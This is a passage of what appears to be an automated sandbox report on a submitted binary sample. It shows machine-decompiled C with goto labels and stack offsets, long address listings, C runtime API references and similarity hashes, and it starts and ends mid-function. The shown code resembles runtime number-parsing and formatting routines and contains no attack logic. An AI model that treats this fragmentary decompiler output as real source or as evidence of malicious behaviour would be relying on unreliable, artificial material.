											}
											L302:
											 *(_t1275 - 0x78) =  *(_t1275 - 0x78) - 1;
											if( *(_t1275 - 0x78) == 0) {
												goto L306;
											}
											L303:
											 *(_t1275 - 0x1f4) =  *(_t1275 - 0x1f4) + 1;
											 *((char*)( *(_t1275 - 0x84) +  *(_t1275 - 0x10))) =  *(_t1275 - 0x21c);
											 *(_t1275 - 0x10) =  *(_t1275 - 0x10) + 1;
											_t1163 =  *(_t1275 - 0x10);
											_t982 = E00426B90(_t1020, _t1275 - 0x204, _t1273, _t1274,  *(_t1275 - 0x10), _t1275 - 0x204, _t1275 - 0x84, _t1275 - 0x1e8, _t1275 - 0x28);
											_t1277 = _t1279 + 0x14;
											if(_t982 != 0) {
												L305:
												 *(_t1275 - 0xc) =  *(_t1275 - 0xc) + 1;
												_t985 = E00426CD0( *(_t1275 + 8),  *(_t1275 + 8));
												_t1288 = _t1277 + 4;
												 *(_t1275 - 0x21c) = _t985;
												continue;
											}
											L304:
											goto L334;
										}
										goto L306;
									}
									L298:
									 *(_t1275 - 0x78) =  *(_t1275 - 0x78) - 1;
									if( *(_t1275 - 0x78) != 0) {
										_t1138 =  *(_t1275 - 0xc) + 1;
										 *(_t1275 - 0xc) = _t1138;
										_t986 = E00426CD0(_t1138,  *(_t1275 + 8));
										_t1288 = _t1288 + 4;
										 *(_t1275 - 0x21c) = _t986;
									} else {
										 *(_t1275 - 0x78) =  *(_t1275 - 0x78) + 1;
									}
									goto L301;
								}
								L294:
								 *((char*)( *(_t1275 - 0x84) +  *(_t1275 - 0x10))) = 0x2d;
								 *(_t1275 - 0x10) =  *(_t1275 - 0x10) + 1;
								_t1163 = _t1275 - 0x204;
								_t993 = E00426B90(_t1020, _t1275 - 0x84, _t1273, _t1274,  *(_t1275 - 0x10), _t1275 - 0x204, _t1275 - 0x84, _t1275 - 0x1e8, _t1275 - 0x28);
								_t1288 = _t1288 + 0x14;
								if(_t993 != 0) {
									L296:
									goto L298;
								}
								L295:
								goto L334;
							}
							L292:
							goto L334;
						}
						L289:
						if( *(_t1275 - 0x21c) != 0x45) {
							goto L306;
						}
						goto L290;
					}
					L279:
					 *(_t1275 - 0x78) =  *(_t1275 - 0x78) - 1;
					if( *(_t1275 - 0x78) == 0) {
						goto L287;
					}
					L280:
					 *(_t1275 - 0xc) =  *(_t1275 - 0xc) + 1;
					 *(_t1275 - 0x21c) = E00426CD0( *(_t1275 - 0xc) + 1,  *(_t1275 + 8));
					 *((char*)( *(_t1275 - 0x84) +  *(_t1275 - 0x10))) =  *((intOrPtr*)(_t1275 - 1));
					 *(_t1275 - 0x10) =  *(_t1275 - 0x10) + 1;
					_t1163 = _t1275 - 0x84;
					_t1001 = E00426B90(_t1020,  *(_t1275 - 0x10), _t1273, _t1274,  *(_t1275 - 0x10), _t1275 - 0x204, _t1275 - 0x84, _t1275 - 0x1e8, _t1275 - 0x28);
					_t1277 = _t1279 + 0x18;
					if(_t1001 != 0) {
						while(1) {
							L282:
							_t1002 = E00432740(_t1020, _t1273, _t1274,  *(_t1275 - 0x21c) & 0x000000ff);
							_t1279 = _t1277 + 4;
							if(_t1002 == 0) {
								goto L287;
							}
							L283:
							 *(_t1275 - 0x78) =  *(_t1275 - 0x78) - 1;
							if( *(_t1275 - 0x78) == 0) {
								goto L287;
							}
							L284:
							 *(_t1275 - 0x1f4) =  *(_t1275 - 0x1f4) + 1;
							 *((char*)( *(_t1275 - 0x84) +  *(_t1275 - 0x10))) =  *(_t1275 - 0x21c);
							 *(_t1275 - 0x10) =  *(_t1275 - 0x10) + 1;
							_t1163 = _t1275 - 0x84;
							_t1151 =  *(_t1275 - 0x10);
							_t1008 = E00426B90(_t1020,  *(_t1275 - 0x10), _t1273, _t1274,  *(_t1275 - 0x10), _t1275 - 0x204, _t1275 - 0x84, _t1275 - 0x1e8, _t1275 - 0x28);
							_t1277 = _t1279 + 0x14;
							if(_t1008 != 0) {
								L286:
								 *(_t1275 - 0xc) =  *(_t1275 - 0xc) + 1;
								_t1010 = E00426CD0(_t1151,  *(_t1275 + 8));
								_t1277 = _t1277 + 4;
								 *(_t1275 - 0x21c) = _t1010;
								continue;
							}
							L285:
							goto L334;
						}
						goto L287;
					}
					L281:
					goto L334;
					L269:
					if( *(_t1275 - 0x21c) != 0x2b) {
						goto L271;
					}
					goto L270;
				}
			}

0x0042635a
0x0042635a
0x0042635a
0x0042635a
0x0042635a
0x00426368
0x00000000
0x00000000
0x0042636a
0x00426370
0x00426373
0x00426379
0x0042637c
0x0042638c
0x00426392
0x00426398
0x0042639b
0x004263a2
0x004263a7
0x004263aa
0x004263b0
0x004263b7
0x004263b9
0x004263b9
0x004263c0
0x004263c0
0x004263c8
0x004263cd
0x004263d2
0x00000000
0x00000000
0x004263d8
0x004263e1
0x004263e6
0x00000000
0x00000000
0x004263e8
0x004263f1
0x00426406
0x0042640e
0x00426423
0x0042642e
0x00426433
0x00426438
0x0042643f
0x00426445
0x0042644c
0x00426451
0x00426454
0x00000000
0x00426454
0x0042643a
0x00426998
0x0042699c
0x004269a7
0x004269ac
0x004269ac
0x004269b6
0x00426a05
0x00426a09
0x00426aad
0x00426aad
0x00426ab0
0x00426abc
0x00426ac1
0x00000000
0x00426ac1
0x00426a0f
0x00426a11
0x00426a1f
0x00426a13
0x00426a13
0x00426a13
0x00426a29
0x00426a2f
0x00426a3c
0x00426a3e
0x00426a43
0x00426a45
0x00426a4a
0x00426a4f
0x00426a51
0x00426a56
0x00426a5c
0x00426a5e
0x00426a5e
0x00426a5c
0x00426a66
0x00000000
0x00426a68
0x00426a68
0x00426a6d
0x00426a89
0x00426a94
0x00426aa0
0x00426aa5
0x00000000
0x00426aa5
0x004269b8
0x004269b8
0x004269bc
0x004269d5
0x004269d5
0x004269d8
0x004269de
0x004269e4
0x004269f0
0x004269f5
0x00426ac7
0x00426ad4
0x00426ad4
0x004269be
0x004269c7
0x00000000
0x00000000
0x004269c9
0x004269c9
0x00000000
0x004269c9
0x004269b6
0x0042645f
0x00426466
0x0042646b
0x00426472
0x00426482
0x0042659b
0x004265a2
0x0042675e
0x00426761
0x00426764
0x00426772
0x00426777
0x00426781
0x004267d5
0x00000000
0x004267d5
0x00426783
0x00426789
0x00426791
0x0042679d
0x004267ab
0x004267b2
0x004267b6
0x004267bb
0x004267be
0x004267bf
0x004267ce
0x004267d0
0x004267d0
0x00426831
0x00426831
0x0042683a
0x00426869
0x00426971
0x00426971
0x00426978
0x00000000
0x00000000
0x0042697a
0x0042697a
0x00426983
0x00426991
0x00000000
0x00426991
0x00426985
0x00426985
0x00426988
0x0042698f
0x00000000
0x00000000
0x00000000
0x00426993
0x0042536e
0x0042536e
0x0042536e
0x00425376
0x00000000
0x00000000
0x0042537c
0x00425383
0x00425388
0x0042538d
0x004253d9
0x004253e2
0x00426871
0x0042687a
0x0042687c
0x00426886
0x0042688b
0x0042688e
0x0042688e
0x00426886
0x00426897
0x0042689e
0x004268a3
0x004268a6
0x004268be
0x004268c3
0x004268e6
0x004268ee
0x004268f3
0x004268f8
0x00426971
0x00426971
0x00426978
0x00000000
0x00000000
0x00000000
0x00426978
0x00426971
0x004268fa
0x00426900
0x00426907
0x0042690c
0x0042690f
0x00426927
0x0042692c
0x00426968
0x0042696b
0x0042696e
0x00000000
0x0042696e
0x0042692e
0x00426934
0x00426942
0x00426950
0x00426953
0x0042695e
0x00426963
0x004268c5
0x004268c5
0x004268cb
0x004268d2
0x004268d9
0x004268de
0x004268de
0x00000000
0x004268c3
0x004253e8
0x004253e8
0x004253f2
0x00000000
0x004253f8
0x004253f8
0x00425402
0x00425406
0x00425416
0x00425422
0x00425425
0x0042542f
0x00425432
0x00425439
0x00425440
0x00425446
0x0042544c
0x00425452
0x00425455
0x0042545c
0x00425460
0x00425467
0x00425467
0x0042546d
0x00000000
0x00000000
0x00425473
0x00425479
0x00425482
0x0042548a
0x0042548f
0x00425494
0x004254bd
0x004254c0
0x004254cf
0x004254dc
0x00425672
0x00425675
0x00425677
0x00000000
0x00425677
0x004254e2
0x004254e8
0x004254ef
0x00000000
0x00425667
0x0042566a
0x0042566d
0x00000000
0x00000000
0x004254f6
0x00000000
0x00000000
0x00425518
0x00425518
0x0042551b
0x0042551f
0x00425522
0x00425560
0x00425560
0x00425563
0x00425567
0x0042556a
0x00425588
0x00425588
0x0042558b
0x0042558f
0x00425592
0x004255c4
0x004255c4
0x004255c4
0x004255c6
0x004255c8
0x004255cb
0x004255cb
0x004255ce
0x004255d1
0x004255db
0x004255db
0x004255e5
0x00000000
0x004255e5
0x00425594
0x00425594
0x00425597
0x0042559b
0x0042559e
0x00000000
0x00000000
0x004255a0
0x004255a0
0x004255a3
0x004255a7
0x004255aa
0x00000000
0x00000000
0x004255ac
0x004255ac
0x004255af
0x004255b3
0x004255b6
0x00000000
0x00000000
0x004255b8
0x004255b8
0x004255bb
0x004255bf
0x004255c2
0x004255ea
0x004255ea
0x004255ec
0x004255ee
0x004255f1
0x004255f1
0x004255f4
0x004255f7
0x00425601
0x00425601
0x00000000
0x0042560b
0x00000000
0x004255c2
0x0042556c
0x0042556c
0x0042556f
0x00425573
0x00425576
0x00000000
0x00425578
0x00425578
0x0042557b
0x0042557e
0x00000000
0x0042557e
0x00425576
0x00425524
0x00425524
0x00425527
0x0042552b
0x0042552e
0x00000000
0x00425530
0x00425530
0x00425533
0x00425536
0x0042553c
0x0042553f
0x00425542
0x0042554c
0x00000000
0x0042554c
0x00000000
0x0042560d
0x0042560d
0x00425610
0x00425613
0x00000000
0x00000000
0x004254fb
0x004254fb
0x004254fe
0x00425501
0x0042550a
0x0042550d
0x00000000
0x00000000
0x00425618
0x00425618
0x0042561b
0x0042561f
0x00425622
0x0042564e
0x00425651
0x00425651
0x00425653
0x00000000
0x00425624
0x00425624
0x00425627
0x0042562a
0x00425630
0x00425633
0x00425636
0x00425640
0x00000000
0x00425640
0x00000000
0x00425656
0x00425656
0x0042565c
0x0042565f
0x00000000
0x00000000
0x00000000
0x00000000
0x00425496
0x0042549f
0x004254b5
0x0042567a
0x00000000
0x0042567a
0x00425494
0x0042567f
0x00425685
0x004256a1
0x00425687
0x0042568a
0x00425693
0x0042569c
0x0042569c
0x004256a8
0x004256b5
0x004256ec
0x004256ec
0x004256f2
0x004256f5
0x004256fc
0x0042573d
0x00425741
0x00425751
0x00425758
0x00425764
0x0042576a
0x004257e5
0x004257e8
0x004257f7
0x00425804
0x004267dc
0x004267e8
0x00426814
0x0042681a
0x0042681d
0x00426829
0x0042682e
0x0042682e
0x00426831
0x00426831
0x0042683a
0x00426869
0x00000000
0x0042686c
0x00426831
0x004267ea
0x004267ed
0x004267f0
0x004267fe
0x00426803
0x00426806
0x00000000
0x00426806
0x0042580a
0x00425810
0x00425817
0x00000000
0x0042581e
0x0042581e
0x00425825
0x00425830
0x00425839
0x00425839
0x0042583c
0x0042583c
0x0042583f
0x00425846
0x00425848
0x0042584d
0x0042584d
0x00425850
0x00425850
0x00425853
0x00000000
0x00000000
0x00425f4e
0x00425f4e
0x00425f55
0x00425f63
0x00425f63
0x00425f6a
0x00000000
0x00000000
0x00425f6c
0x00425f6c
0x00425f6f
0x00425f6f
0x00425f72
0x00425f75
0x00425f8b
0x00425f8b
0x00425f8e
0x00425f8e
0x00425f91
0x00425f94
0x00425fa0
0x00000000
0x00425fa0
0x00425f77
0x00425f77
0x00425f7e
0x00000000
0x00000000
0x00425f80
0x00425f83
0x00425f86
0x00000000
0x00425f86
0x00425f57
0x00425f57
0x00425f5a
0x00425f5c
0x00000000
0x00000000
0x00000000
0x00000000
0x00425e02
0x00425e02
0x00000000
0x00000000
0x00426342
0x00426342
0x00426345
0x0042634b
0x0042634f
0x00426351
0x00426355
0x00426831
0x0042683a
0x00426869
0x00000000
0x0042686c
0x00426353
0x00000000
0x00000000
0x00425f4a
0x00425f4a
0x00000000
0x00000000
0x00425858
0x00425858
0x0042585f
0x00425861
0x00425863
0x00425866
0x00425866
0x00425868
0x00425868
0x0042586b
0x00000000
0x00000000
0x00425e09
0x00425e09
0x00425e10
0x00425e1f
0x00425e1f
0x00425e26
0x00425e62
0x00425e62
0x00425e69
0x00425f48
0x00425fa6
0x00425fa6
0x00425faa
0x00426170
0x00426170
0x00426170
0x00426174
0x00426176
0x00000000
0x00000000
0x0042617c
0x0042617c
0x00426180
0x00426188
0x00426188
0x00426190
0x00426198
0x0042619a
0x004261c3
0x004261c6
0x004261c6
0x004261c9
0x0042619c
0x004261a2
0x004261a5
0x004261ab
0x004261bb
0x004261bb
0x0042622f
0x0042622f
0x00426233
0x00426235
0x00426297
0x00426297
0x0042629a
0x0042629a
0x0042629d
0x004262a0
0x004262a4
0x004262ab
0x004262b3
0x00000000
0x004262b3
0x00426237
0x0042623d
0x00426240
0x00426246
0x0042624c
0x00426252
0x00426256
0x0042625c
0x00426263
0x0042627a
0x0042627a
0x0042627d
0x0042627d
0x00426280
0x00426283
0x0042628f
0x00426295
0x00000000
0x00426295
0x00426265
0x00426265
0x00426268
0x00426268
0x0042626b
0x0042626e
0x00000000
0x00000000
0x00426270
0x00426270
0x00426273
0x00426275
0x00000000
0x00426275
0x00426182
0x00426182
0x00426186
0x004261ce
0x004261ce
0x004261d6
0x004261de
0x004261e0
0x00426226
0x00426229
0x00426229
0x0042622c
0x004261e2
0x004261e2
0x004261e6
0x0042620d
0x00426213
0x00426219
0x0042621c
0x0042621c
0x0042621e
0x004261e8
0x004261e8
0x004261ef
0x00426202
0x00426205
0x00426205
0x00426208
0x004261f1
0x004261f7
0x004261fa
0x004261fa
0x0042620b
0x00426224
0x00000000
0x004261e0
0x00000000
0x00426186
0x004262b8
0x004262b8
0x004262bc
0x004262be
0x004262c0
0x004262c6
0x004262c8
0x004262c8
0x004262ce
0x004262ce
0x004262d2
0x004262d4
0x004262d4
0x004262de
0x004262e5
0x00426338
0x00000000
0x004262e7
0x004262e7
0x004262e7
0x004262eb
0x004262ed
0x00426336
0x00426831
0x00426831
0x0042683a
0x00426869
0x00000000
0x0042686c
0x00426831
0x004262ef
0x004262ef
0x004262f2
0x004262f2
0x004262f5
0x004262f8
0x004262f8
0x004262fc
0x00426314
0x00426318
0x0042631a
0x00426329
0x00426333
0x0042631c
0x0042631c
0x0042631f
0x00426325
0x00426325
0x004262fe
0x004262fe
0x00426301
0x00426307
0x00426309
0x0042630f
0x0042630f
0x00000000
0x004262fc
0x00000000
0x00000000
0x00000000
0x00425fb0
0x00425fb0
0x00425fb0
0x00425fb4
0x00425fb6
0x00000000
0x00000000
0x00425fbc
0x00425fbc
0x00425fc0
0x00425fc8
0x00425fc8
0x00425fd0
0x00425fd8
0x00425fda
0x00426013
0x00426016
0x00426016
0x00426019
0x00425fdc
0x00425fdc
0x00425fe2
0x00425fe8
0x00425fef
0x00425ff5
0x00425ffb
0x0042600b
0x0042600b
0x004260ad
0x004260ad
0x004260b1
0x004260b3
0x00426123
0x00426123
0x00426126
0x00426126
0x00426129
0x0042612c
0x00426130
0x00426137
0x0042613f
0x00000000
0x0042613f
0x004260b5
0x004260bb
0x004260be
0x004260ca
0x004260cd
0x004260ce
0x004260d4
0x004260da
0x004260dc
0x004260e2
0x004260e8
0x004260ef
0x00426106
0x00426106
0x00426109
0x00426109
0x0042610c
0x0042610f
0x0042611b
0x00426121
0x00000000
0x00426121
0x004260f1
0x004260f1
0x004260f4
0x004260f4
0x004260f7
0x004260fa
0x00000000
0x00000000
0x004260fc
0x004260fc
0x004260ff
0x00426101
0x00000000
0x00426101
0x00425fc2
0x00425fc2
0x00425fc6
0x00426021
0x00426021
0x00426029
0x00426031
0x00426033
0x004260a4
0x004260a7
0x004260a7
0x004260aa
0x00426035
0x00426035
0x00426039
0x00426070
0x00426076
0x0042607c
0x0042607e
0x00426083
0x00426083
0x00426089
0x0042608f
0x00426096
0x0042609c
0x0042603b
0x0042603b
0x00426042
0x00426065
0x00426068
0x00426068
0x0042606b
0x00426044
0x00426044
0x0042604a
0x00426050
0x00426057
0x0042605d
0x0042605d
0x0042606e
0x004260a2
0x00000000
0x00426033
0x00000000
0x00425fc6
0x00426144
0x00426144
0x00426148
0x0042614a
0x0042614c
0x00426152
0x00426154
0x0042615a
0x0042615d
0x0042615f
0x00426165
0x00426165
0x00000000
0x0042616b
0x00425e6f
0x00425e6f
0x00425e72
0x00425e75
0x00425e78
0x00425e84
0x00425e8a
0x00425e91
0x00425e94
0x00425ea2
0x00425ea5
0x00425ea8
0x00425eab
0x00425eb7
0x00425ebd
0x00425ec4
0x00425ec6
0x00425ec9
0x00425ecc
0x00425ecf
0x00425ed3
0x00425ed5
0x00425ed8
0x00425ed8
0x00425edb
0x00425edb
0x00425ed3
0x00425ede
0x00000000
0x00425ede
0x00425e96
0x00425e96
0x00425e9d
0x00425ea0
0x00425ee7
0x00425eed
0x00425ef0
0x00425ef6
0x00425efa
0x00425f22
0x00425f25
0x00425f25
0x00425f28
0x00425f2b
0x00425f2f
0x00425f36
0x00425f3e
0x00425efc
0x00425efc
0x00425f03
0x00425f05
0x00425f08
0x00425f08
0x00425f0b
0x00425f0e
0x00425f10
0x00425f13
0x00425f13
0x00425f16
0x00425f16
0x00425f0e
0x00425f19
0x00425f19
0x00000000
0x00425efa
0x00000000
0x00425ea0
0x00425e28
0x00425e28
0x00425e2b
0x00425e2b
0x00425e2e
0x00425e31
0x00425e47
0x00425e47
0x00425e4a
0x00425e4a
0x00425e4d
0x00425e50
0x00425e5c
0x00000000
0x00425e5c
0x00425e33
0x00425e33
0x00425e3a
0x00000000
0x00000000
0x00425e3c
0x00425e3c
0x00425e3f
0x00425e42
0x00000000
0x00425e42
0x00425e12
0x00425e15
0x00425e18
0x00000000
0x00000000
0x00425870
0x00425870
0x00425877
0x00425879
0x0042587b
0x0042587e
0x0042587e
0x00425881
0x00425881
0x00425884
0x00425887
0x0042588a
0x0042588d
0x00425890
0x00425893
0x00425896
0x00425899
0x0042589c
0x004258a1
0x004258a4
0x004258a7
0x004258aa
0x004258aa
0x004258ad
0x004258ad
0x004258b0
0x004258b8
0x004258c0
0x004258c4
0x004258c6
0x004258c9
0x004258cc
0x004258cf
0x004258d1
0x004258d5
0x004258d8
0x004258d8
0x004258db
0x004258de
0x004258e1
0x004258e1
0x004258cf
0x004258e5
0x004258e5
0x004258e5
0x004258e8
0x004258eb
0x004258ee
0x00000000
0x00000000
0x004258f4
0x004258f4
0x004258f7
0x004258f9
0x004258ff
0x00425902
0x00425905
0x00425909
0x0042590c
0x00425921
0x00425921
0x00425924
0x0042592b
0x00425932
0x0042593a
0x0042593c
0x00425943
0x00425949
0x0042594c
0x0042594f
0x004259d2
0x00000000
0x004259d2
0x0042590e
0x0042590e
0x00425912
0x00425914
0x00000000
0x00000000
0x00425916
0x00425916
0x00425919
0x0042591c
0x0042591f
0x00425954
0x00425954
0x00425957
0x00425959
0x0042595f
0x00425962
0x00425965
0x00425969
0x0042596d
0x0042596f
0x00425979
0x0042597c
0x0042597f
0x00425982
0x00425971
0x00425971
0x00425974
0x00425974
0x00425985
0x00425988
0x00425995
0x00425995
0x00425995
0x00425999
0x0042599d
0x0042599f
0x00000000
0x00000000
0x004259a1
0x004259a5
0x004259ac
0x004259b4
0x004259b6
0x004259bd
0x004259c3
0x004259c6
0x004259c9
0x0042598d
0x00425990
0x00425990
0x00425992
0x00425992
0x004259ce
0x004259ce
0x00000000
0x004259ce
0x00000000
0x0042591f
0x004259d7
0x004259d7
0x004259da
0x004259dd
0x004259df
0x004259e6
0x004259e6
0x004259ea
0x004259ec
0x004259ef
0x004259ef
0x004259f2
0x004259f5
0x004259fb
0x004259fe
0x00425a0c
0x00425a11
0x00425a14
0x00425a18
0x00425a1d
0x00425a1d
0x00425a20
0x00425a20
0x00425a23
0x00425a23
0x00425a23
0x00425a2a
0x00000000
0x00000000
0x00425a2c
0x00425a35
0x00425a38
0x00425a3a
0x00425bd3
0x00425bd3
0x00425bd7
0x00425cb7
0x00425cb7
0x00425cba
0x00425cbd
0x00425df8
0x00000000
0x00425df8
0x00425cc3
0x00425cc7
0x00425cc9
0x00425cd5
0x00425cd8
0x00425cdc
0x00425ce6
0x00425ce8
0x00425d7c
0x00425d7f
0x00425d83
0x00425d85
0x00425d8c
0x00425d97
0x00425d9a
0x00425daa
0x00425db0
0x00425dcc
0x00425dcc
0x00425dce
0x00425db2
0x00425db8
0x00425db8
0x00425de3
0x00425dee
0x00425df3
0x00425df3
0x00425d9a
0x00425d8c
0x00425cee
0x00425cf3
0x00425cf6
0x00425cfa
0x00425cfc
0x00425d03
0x00425d10
0x00425d13
0x00425d25
0x00425d2b
0x00425d49
0x00425d49
0x00425d4b
0x00425d2d
0x00425d33
0x00425d33
0x00425d62
0x00425d6f
0x00425d74
0x00425d74
0x00425d13
0x00425d03
0x00425d77
0x00425ce8
0x00425cdc
0x00426831
0x00426831
0x0042683a
0x00426869
0x00000000
0x0042686c
0x00426831
0x00425bdd
0x00425be2
0x00425bec
0x00425bee
0x00425c54
0x00425c57
0x00425c5a
0x00425c5e
0x00425c60
0x00425c67
0x00425c69
0x00425c6d
0x00425c75
0x00425c7b
0x00425c8e
0x00425c8e
0x00425c91
0x00425c7d
0x00425c83
0x00425c83
0x00425ca6
0x00425caa
0x00425caf
0x00425caf
0x00425c6d
0x00425c67
0x00425bf0
0x00425bf2
0x00425bf5
0x00425bf8
0x00425bfc
0x00425bfe
0x00425c05
0x00425c07
0x00425c0b
0x00425c13
0x00425c19
0x00425c2c
0x00425c2c
0x00425c2f
0x00425c1b
0x00425c1b
0x00425c21
0x00425c21
0x00425c46
0x00425c4a
0x00425c4f
0x00425c4f
0x00425c0b
0x00425c05
0x00425c52
0x00000000
0x00425cb2
0x00425a40
0x00425a46
0x00425a4d
0x00425a52
0x00425a55
0x00425a5b
0x00425a62
0x00425bb0
0x00425bb6
0x00425bb9
0x00425bc4
0x00425bc9
0x00000000
0x00425bc9
0x00425a68
0x00425a68
0x00425a6c
0x00425ac7
0x00425ac7
0x00425acb
0x00425acd
0x00425ba5
0x00425ba8
0x00425ba8
0x00425bab
0x00425bae
0x00425a23
0x00425a23
0x00425a2a
0x00000000
0x00000000
0x00000000
0x00425a2a
0x00425ad3
0x00425ad3
0x00425ad7
0x00425ae5
0x00425ae9
0x00425aeb
0x00425b8f
0x00425b97
0x00425b9d
0x00425b9d
0x00425ba0
0x00425af1
0x00425af7
0x00425afd
0x00425b05
0x00425b0a
0x00425b0d
0x00425b0f
0x00425b14
0x00425b14
0x00425b17
0x00425b1e
0x00425b23
0x00425b26
0x00425b26
0x00425b31
0x00425b3b
0x00425b60
0x00425b65
0x00425b6b
0x00425b6f
0x00425b78
0x00425b81
0x00425b81
0x00000000
0x00425ba3
0x00425ad9
0x00425ad9
0x00000000
0x00425ad9
0x00425a6e
0x00425a6e
0x00425a72
0x00425a8f
0x00425a8f
0x00425a93
0x00000000
0x00000000
0x00425a99
0x00425a9f
0x00425aa2
0x00425abf
0x00425ac1
0x00000000
0x00000000
0x00000000
0x00425ac1
0x00425a74
0x00425a74
0x00425a7b
0x00425a86
0x00425a86
0x00425a8d
0x00000000
0x00000000
0x00000000
0x00425a8d
0x00425a7d
0x00425a7d
0x00425a84
0x00000000
0x00000000
0x00000000
0x00425a84
0x00425a23
0x004259e1
0x00000000
0x00000000
0x00000000
0x00000000
0x00425817
0x0042576c
0x00425770
0x0042577e
0x00425781
0x0042578a
0x00425793
0x00425799
0x004257a2
0x004257ab
0x004257ae
0x004257b1
0x004257b8
0x00000000
0x004257ba
0x004257ba
0x004257c3
0x004257cf
0x004257d2
0x004257c5
0x004257c7
0x004257ca
0x004257ca
0x004257da
0x00000000
0x004257da
0x004257b8
0x00425772
0x00425776
0x00000000
0x00000000
0x00425778
0x0042577c
0x00000000
0x00000000
0x00000000
0x0042577c
0x0042575a
0x0042575e
0x00426842
0x00426848
0x0042684f
0x00426856
0x0042685b
0x00000000
0x0042685b
0x00000000
0x0042575e
0x00425743
0x0042574a
0x00000000
0x0042574c
0x00000000
0x0042574c
0x0042574a
0x004256fe
0x00425702
0x00425722
0x00425725
0x00425728
0x0042572f
0x00425734
0x00425737
0x00000000
0x00425737
0x00425704
0x00425708
0x00000000
0x0042570a
0x00425712
0x00425717
0x0042571a
0x00000000
0x0042571a
0x004256b7
0x004256b7
0x004256c0
0x004256cd
0x004256d6
0x00000000
0x004256d6
0x004256c2
0x004256cb
0x004256e4
0x004256e6
0x00000000
0x004256e6
0x00000000
0x004256cb
0x004256b5
0x0042538f
0x00425395
0x004253ad
0x004253b2
0x004253b5
0x004253b5
0x004253bb
0x004253c3
0x004253cb
0x004253d0
0x004253d3
0x00000000
0x004253b5
0x0042538d
0x00000000
0x0042536e
0x00426971
0x00426831
0x004265a8
0x004265af
0x004265be
0x004265c7
0x004265cc
0x00000000
0x00000000
0x004265d2
0x004265db
0x004265e4
0x004265f9
0x00426604
0x00426609
0x0042660e
0x00426615
0x0042661b
0x00426622
0x00426627
0x0042662a
0x00426637
0x00426680
0x00426687
0x004266bf
0x004266bf
0x004266c7
0x004266cc
0x004266d1
0x00000000
0x00000000
0x004266d7
0x004266e0
0x004266e5
0x00000000
0x00000000
0x004266e7
0x004266f0
0x00426705
0x0042670d
0x00426729
0x0042672d
0x00426732
0x00426737
0x0042673e
0x00426744
0x0042674b
0x00426750
0x00426753
0x00000000
0x00426753
0x00426739
0x00000000
0x00426739
0x00000000
0x004266bf
0x00426689
0x00426692
0x00426697
0x004266a7
0x004266aa
0x004266b1
0x004266b6
0x004266b9
0x00426699
0x0042669f
0x0042669f
0x00000000
0x00426697
0x00426639
0x00426642
0x0042664b
0x00426660
0x0042666b
0x00426670
0x00426675
0x0042667c
0x00000000
0x0042667c
0x00426677
0x00000000
0x00426677
0x00426610
0x00000000
0x00426610
0x004265b1
0x004265b8
0x00000000
0x00000000
0x00000000
0x004265b8
0x00426488
0x00426491
0x00426496
0x00000000
0x00000000
0x0042649c
0x004264a2
0x004264b1
0x004264c3
0x004264cb
0x004264d9
0x004264eb
0x004264f0
0x004264f5
0x004264fc
0x004264fc
0x00426504
0x00426509
0x0042650e
0x00000000
0x00000000
0x00426514
0x0042651d
0x00426522
0x00000000
0x00000000
0x00426524
0x0042652d
0x00426542
0x0042654a
0x00426558
0x00426566
0x0042656a
0x0042656f
0x00426574
0x0042657b
0x00426581
0x00426588
0x0042658d
0x00426590
0x00000000
0x00426590
0x00426576
0x00000000
0x00426576
0x00000000
0x004264fc
0x004264f7
0x00000000
0x00426383
0x0042638a
0x00000000
0x00000000
0x00000000
0x0042638a

APIs

__inc.LIBCMTD ref: 004263A2
_isdigit.LIBCMTD ref: 004263C8
___check_float_string.LIBCMTD ref: 0042642E
__inc.LIBCMTD ref: 0042644C
___check_float_string.LIBCMTD ref: 004264EB
_isdigit.LIBCMTD ref: 00426504
___check_float_string.LIBCMTD ref: 0042656A
__inc.LIBCMTD ref: 004264A9

Part of subcall function 00426CD0: __filbuf.LIBCMTD ref: 00426D11

___check_float_string.LIBCMTD ref: 00426604
__inc.LIBCMTD ref: 00426622
___check_float_string.LIBCMTD ref: 0042666B
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 004269F0

Strings

+, xrefs: 00426680

Memory Dump Source

Source File: 00000000.00000002.660207840.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.660193353.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.660246585.000000000043D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.660259740.000000000044D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.660264404.0000000000454000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.660273004.000000000045E000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7NAzyCWRyM.jbxd

Similarity

API ID: ___check_float_string$__inc$Locale_isdigit$UpdateUpdate::~___filbuf
String ID: +
API String ID: 3844525517-2126386893
Opcode ID: a2cea282baa653a22d4578b59659abea05b4518c27edbf17157134bf64d34947
Instruction ID: b7d6469141e4f3361569d29583c73877402e34e2a3423ac113fb7f4d5d186d2f
Opcode Fuzzy Hash: a2cea282baa653a22d4578b59659abea05b4518c27edbf17157134bf64d34947
Instruction Fuzzy Hash: FAF192B5E041299BCF24DFA8DC80BEEBB75BF54308F14859ED419A7302D635AA80CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00430409, Relevance: 35.4, APIs: 15, Strings: 5, Instructions: 368
COMMON

Download Yara Rule

C-Code - Quality: 64%

			E00430409(signed int __edx) {
				signed int _t496;
				signed int _t518;
				void* _t523;
				signed int _t525;
				void* _t545;
				signed int _t563;
				signed int _t580;
				signed short _t581;
				signed int _t584;
				signed int _t587;
				signed int _t588;
				void* _t589;
				signed int _t611;
				signed int _t647;
				signed int _t649;
				signed int _t651;
				signed int _t658;
				signed int _t698;
				void* _t699;
				void* _t700;
				signed int _t701;
				void* _t703;
				void* _t704;
				signed int _t712;

				L0:
				while(1) {
					L0:
					_t647 = __edx;
					 *(_t701 - 0x10) =  *(_t701 - 0x10) | 0x00000040;
					 *(_t701 - 8) = 0xa;
					L153:
					while(1) {
						L153:
						while(1) {
							L153:
							while(1) {
								L153:
								if(( *(_t701 - 0x10) & 0x00008000) == 0) {
									_t649 =  *(_t701 - 0x10) & 0x00001000;
									if(_t649 == 0) {
										if(( *(_t701 - 0x10) & 0x00000020) == 0) {
											_t651 =  *(_t701 - 0x10) & 0x00000040;
											if(_t651 == 0) {
												_t496 = E00420C00(_t701 + 0x14);
												_t704 = _t703 + 4;
												 *(_t701 - 0x2b8) = _t496;
												 *(_t701 - 0x2b4) = 0;
											} else {
												_t580 = E00420C00(_t701 + 0x14);
